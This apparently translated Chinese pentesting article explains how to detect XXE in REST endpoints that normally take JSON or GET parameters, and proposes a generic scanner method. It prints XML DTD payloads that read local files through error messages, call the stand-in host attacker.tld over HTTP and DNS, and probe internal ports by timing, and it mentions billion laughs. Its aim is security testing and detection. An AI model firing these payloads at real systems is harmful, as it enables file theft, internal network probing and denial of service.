通用xxe檢測方法
Generic XXE Detection
本文,我會介紹一些手工滲透過程中檢測XXE(XML外部實體注入)漏洞的思路,當然也會有一些自動測試。這些思路都是我以前在黑盒測試過程中遇到的xxe漏洞的經驗總結,可以很容易地轉化為一種適用於web漏洞掃描器的通用方法,作為其擴充套件來使用。
我們會通過一個案例來演示,在這個案例中,服務端是沒有使用XML格式的,但我們依然可以使用XML作為輸入格式來訪問服務,從而執行xxe攻擊。
在寫這篇文章的時候,我已經開發了一個Burp外掛,叫“Generic XXE Detector”來自動檢測xxe漏洞。後面有時間的話,我也會寫一個ZAP擴充套件外掛,把這種xxe漏洞的檢測方法融入到掃描器中。
服務端中的xxe檢測
在黑盒滲透測試中,我們通常會遇到一些服務端,主要是基於REST架構的,在瀏覽器的單頁應用中使用。採用RESTful架構風格的終端通常都是以JSON作為傳輸格式,但是許多服務端開發框架(比如基於RESTful服務的JAX-RS)也允許基於資料交換的XML格式作為輸入,甚至是輸出。如果可以進行這種替換,可以通過修改請求頭中的Content-Type的值(比如修改成text/xml或者application/xml)來進行驗證觸發。
所以現在的問題是找到終端服務中能夠接收XML作為輸入的格式,即使客戶端只能使用JSON格式或者是直接路徑或者是引數查詢的方式來訪問服務。為了將這種檢測技巧從手工測試擴充套件到自動化測試的方式,掃描此漏洞的Burp工具需要一個通用的XXE檢測方法,這樣,在滲透期間,active scanner就會對scope中所有的url發起檢測。
在一次對基於Java的服務終端挖掘xxe漏洞時(黑盒測試),我發現一個服務終端只有路徑和引數查詢作為輸入源,並且以JSON的格式響應,而且就是一個簡單的GET請求,沒有POST,這種情況看起來似乎不會有xxe漏洞,因此人們也沒多大興趣在這個地方進行xxe測試,就連Burp的主動掃描也沒有發現xxe漏洞。
但我手工測試了幾次,竟然意外的測出了xxe,因為它確實是REST架構服務,而且也接收XML格式的輸入,所以為了驗證xxe漏洞,我使用了下面的一些技巧:
·首先,我嘗試者把GET請求轉換為POST請求,這樣就可以在請求體重發送XML格式的資料,不過,很不走運,服務端只接收GET,並不接收POST,所以我還是隻能使用GET請求。
· 接著我刪除了請求URL中的查詢引數和路徑引數,這樣服務端就獲取不到這些引數。由於是黑盒測試,我只能假設,刪除掉查詢引數後,會觸發終端服務接收其他格式作為輸入的一種模式。不加引數和路徑訪問服務時,出現了一個錯誤頁面,提示沒有提供輸入資料。
· 即使只能使用get方式,但我還是修改了Content-Type型別為application/xml,然後在請求體中添加了一些無效的xml資料,提交請求後,在響應訊息中出現了XML錯誤訊息,顯示某解析過程獲取了GET請求中的Body payload,這就很有意思了,我覺得可以進一步測試一下。再新增上路徑和引數後,發現響應中出現了業務錯誤資訊,所以我感覺肯定要刪除它們,要不然,服務端會優先對它們進行解析。
我想讓服務端能夠解析我的XML資料並至少返回一些技術性的錯誤訊息,於是我使用常規的XXE技巧來獲取資料(比如/etc/passwd或者列目錄 /),因為我不知道使用這種XML格式對服務發起請求會出現什麼結果,所以我不得不使用一種更通用的技巧,這種技巧即使沒有將實體引用放在適當的XML元素中也可以正常工作。經過測試之後,伺服器接收到XML資料後,也沒有返回什麼東西,只回顯了技術錯誤。在這種情況下,只能使用OOB帶外通道資料提取方法了。
但是因為這種基於URL的OOB資料洩露只能洩露一行檔案內容(因為CRLF會分割URL),所以我將它與伺服器響應的技術性錯誤訊息結合起來並從中讀取資料:
這裡的思路就是將含有引數實體的資料傳遞到另一個檔案實體中,以便在訪問第二個檔案時觸發檔案未找到的異常,並且將第一個檔案的內容作為第二個檔案的名字,這樣的話,就成功出發了檔案未找到異常,也完全返回了第一個檔案的內容(這裡並不需要純粹的OOB提取技術)。
攻擊者的DTD部分應用了檔案未找到異常的迴應技巧,在攻擊者的伺服器上寫一個dtd檔案,儲存在 ofollow,noindex" target="_blank">http://attacker.tld/dtd-part 中,內容如下:
然後發起請求(這是利用XXE的常規的OOB技術):
響應如下(返回檔案為找到錯誤訊息,但也返回了我們想要的資料):
使用這種檔案未找到迴應技巧來讀取資料不僅解決了只能提取一行資料的問題,還解除了XXE利用中直接在XML元素中使用時的一些限制:檔案內容包含了XML元字元(比如<和>),這會破壞XML的結構。使用了上面這種技巧之後,就不存在這種問題了。
上面的方法執行成功之後,我又發現了一篇好的文章 純OOB利用技術 ,這種方法使用 ftp://scheme 和自定義的FTP伺服器,甚至能夠在Java1.7+版本下獲取資料。我想這種方法在上面的場景中應該也可行,即使伺服器沒有返回技術性錯誤訊息,但它是一種純粹的OOB提取技術。
小提示:這種檔案未找到異常回應技巧在某些XSS場景中也可能派得上用場,比如嘗試輸入<script>alert(1)</script>作為檔名。但是這種XSS在實際環境中利用起來還是非常難的,因為你很難誘騙受害者去發起請求,這就需要結合社工技術了。
如何進行自動化掃描
這次我在手工滲透測試中無意發現了這個XXE漏洞(因為掃描器沒有檢測到),讓我開始思考能不能有一種通用的方法來自動檢測漏洞。最基本的問題就是這種掃描技巧應該能夠對scope中的每一個請求進行掃描,即使這個請求沒有包含任何的XML資料(因為上面的例子使用的RESTful架構而且只使用JSON格式也存在xxe漏洞)。
我靈機一動,就想到了這個辦法(我也會很快寫成Burp或ZAP的擴充套件)。掃描器應該在其主動掃描的每個請求中執行下列步驟,下面的步驟也只是來檢測上面提及的場景中存在的xxe漏洞:
1.使用原始路徑和查詢引數以POST方法發起請求,跟原始的HTTP方法一樣(即使是GET方法),在請求體中新增一個通用的DTD payload,並直接引用引數實體,如下所示:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///some-non-existing.file" > %xxe; ]>
當然,不要忘了在請求頭中新增Content-Type:application/xml,也可以嘗試text/xml。
· 如果響應中包含如下訊息(以檔案未找到的形式返回了檔名)
javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /some-non-existing.file (No such file or directory)]
就標記為可能存在xxe:
· 比較訪問存在檔案和不存在檔案的響應。不存在檔案的錯誤響應和存在檔案但是DTD檔案中沒有有效內容的錯誤響應肯定會有不同,說不定能發現什麼蛛絲馬跡。
· 如果在檔案未找到異常訊息中回顯了<script>alert(1)</script>作為檔名,那麼也可以標記為xss。
2.如果第一步沒有觸發xxe,刪除所有原始請求中的查詢引數,再執行一遍。最後嘗試刪除每個路徑引數(以防服務接收到這些引數,然後不會從XML body中去訪問輸入),重複上面的步驟。
3.如果上面兩步還沒有觸發XXE漏洞,嘗試使用眾所周知的OOB技術(更多技巧的使用細節可以參考 這裡 )。
使用下面的payload(設定Content-Type為application/xml)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://attacker.tld/xxe/ReqNo" > %xxe; ]>
ReqNo代表的是每個請求的唯一編號。我們需要這個唯一的編號將日誌條目和掃描的請求關聯起來,然後將這些請求標記為XXE候選項。如果scanner提供了某種型別的輸入,可以將觀察到的webserver日誌提供給掃描引擎,以檢查已發出的匹配的OOB請求數,那麼我們會得到最佳的結果。
4.如果上面的步驟還沒有觸發xxe漏洞(由於伺服器無法訪問攻擊者的webserver),可以嘗試使用基於DNS的OOB技術,在域名中包含前面提到的XXE請求編號ReqNo,比如下面這個payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://ReqNo.xxe.attacker.tld" > %xxe; ]>
這樣一來,至少通過其DNS伺服器對攻擊者域的DNS解析可以用於觸發XXE匹配,當在測試結束後,掃描器會解析DNS伺服器的日誌,然後與掃描的請求聯絡起來 。
5.如果上述請求還沒有觸發XXE條件,那我們就只能在側通道上進行完全的盲測了,比如計時測量:我們可以使用不同的payload來檢查內網中可以訪問的埠,然後比較不同payload的響應時間,比如這兩個payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:9876" > %xxe; ]>
· 當然,也可以對file協議進行類似的測試,訪問大檔案和小檔案進行對比。當你使用風險掃描器時,你可以計算一下當你訪問/dev/zero檔案時所增加的響應時間。
· 使用風險掃描器也可以測量內建擴充套件的處理時間,比如billion laughs attack,這是一種DOS攻擊,關於這種攻擊可以參考 這裡 。
注意,在上述場景中,掃描器並不需要知道具體的XML格式,因此這種掃描技術應用於請求之中也非常容易,即時他們在被動觀察過程中沒有使用任何XML資料。所有的XMLpayload在DTD中都是完全獨立的。我們的想法是對每一個請求進行掃描,自動檢測服務終端中可以使用XML格式進行訪問的位置,就跟RESTful開發框架的例子一樣。
上面的這些XML DTD payloads(使用OOB請求去檢測XXE,不管是審查攻擊者的webserver日誌還是計算時間差),這些payloads都可以簡化成一個純粹的外部DTD方法,如<!DOCTYPE test SYSTEM "http://attacker.tld/xxe/ReqNo"> 或者 <!DOCTYPE test SYSTEM "file:///dev/zero">。不過上面提供的更長的payload測試在查詢xxe漏洞時更有效,因為短版本的payload只驗證了外部DTDs,而且不能載入實體。
總結
作為pentester
注意應用程式中任何服務端並進行滲透測試,並且強制他們接收XML格式資料,即使在應用程式中的這些終端只接收其他格式的輸入,比如查詢引數,路徑引數或者是JSON格式。如果運氣好的話,終端也配置了可以接收XML格式的資料,那麼就可以進一步測試是否存在xxe漏洞了。
作為掃描器廠商
將本文中提到的這些想法整合到掃描引擎中,通過自動解析日誌檔案來強化掃描效果,並簡化使用OOB技術來檢測通用的XXE漏洞,即時在掃描大型攻擊面時也是如此簡單易用。